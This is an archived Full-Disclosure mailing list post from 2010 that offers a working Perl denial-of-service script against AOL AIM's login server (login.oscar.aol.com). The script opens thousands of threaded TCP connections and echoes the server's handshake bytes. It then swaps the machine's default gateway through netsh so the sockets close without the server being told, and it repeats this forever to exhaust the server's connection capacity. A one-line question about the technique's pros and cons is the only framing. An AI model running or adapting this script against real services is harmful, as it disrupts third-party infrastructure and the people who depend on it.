full-disclosure - DOS AOL AIM via perl

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-id: <A0BE22910D364A009E9FAA4F60BB9357@KevinPC>
Date: Tue, 14 Dec 2010 10:13:12 -0500
From: "Cyber Flash" <cyber_flash@...mail.com>
To: <full-disclosure@...ts.grok.org.uk>
Subject: DOS AOL AIM via perl

Create many ESTABLISHED connections (60,000) to login.oscar.aol.com server
and then temporarily disable the local client gateway, close the sockets
(the RST packets aren’t sent to AOL), reopen the gateway and repeat this process.

Anyone have ideas on the pros/cons of using this technique?

# Client -> Server [SYN]
# Server -> Client [SYN, ACK]
# Client -> Server [ACK]
# Server -> Client 10 bytes (conn_ack)
# Client -> Server 10 bytes (conn_ack)
# Server -> Client [ACK]

use IO::Socket;
use Thread;
use Win32::OLE qw(in);

# --- SCRIPT CONFIGURATION ---
my $host="login.oscar.aol.com";
my $port=80;

# --- END CONFIGURATION ---
my $ip="";
my $gateway="";
my $fake_gateway="1.1.1.1";
my $mask="";
my $adpater="";
my $alive=0;

$object=Win32::OLE->GetObject('winmgmts:{impersonationLevel=impersonate}!//.');
foreach my $nic(in$object->InstancesOf('Win32_NetworkAdapterConfiguration')){
   next unless $nic->{IPEnabled};
   $ip=@...ic->{IPAddress}}[0];
   $gateway=@...ic->{DefaultIPGateway}}[0];
   $mask=@...ic->{IPSubnet}}[0];
   print "IPv4 Address: $ip\nDefault Gateway: $gateway\nSubnet Mask: $mask\n";
   last;
}

$objWMI = Win32::OLE->GetObject("winmgmts://./root/cimv2");
$colNAs = $objWMI->InstancesOf('Win32_NetworkAdapter');
foreach my $objNA (in $colNAs){
   next unless $objNA->{NetEnabled};
   $adapter=$objNA->NetConnectionID;
   print "Ethernet Adapter: $adapter\n";
   last;
}

while (1) {
   for ($n=0;$n<=3000;$n++){
      $thr=new Thread\&connect;
      $thr->detach;
      $t++;
      print "Connection: $t\n";
      select(undef, undef, undef, 0.25);
   }
   print "\nDisabling Gateway...\n";
   system("netsh interface ip set address name=\"$adapter\" static $ip $mask $fake_gateway 1");
   $alive=1;
   sleep 3;
   print "\nEnabling Gateway....\n";
   system("netsh interface ip set address name=\"$adapter\" static $ip $mask $gateway 1");
   $alive=0;
}

sub connect{
  my $socket = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>$port);
  $socket->recv($data,10);
  $socket->send($data);
  while ($alive==0) {sleep 1;}
}  
Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/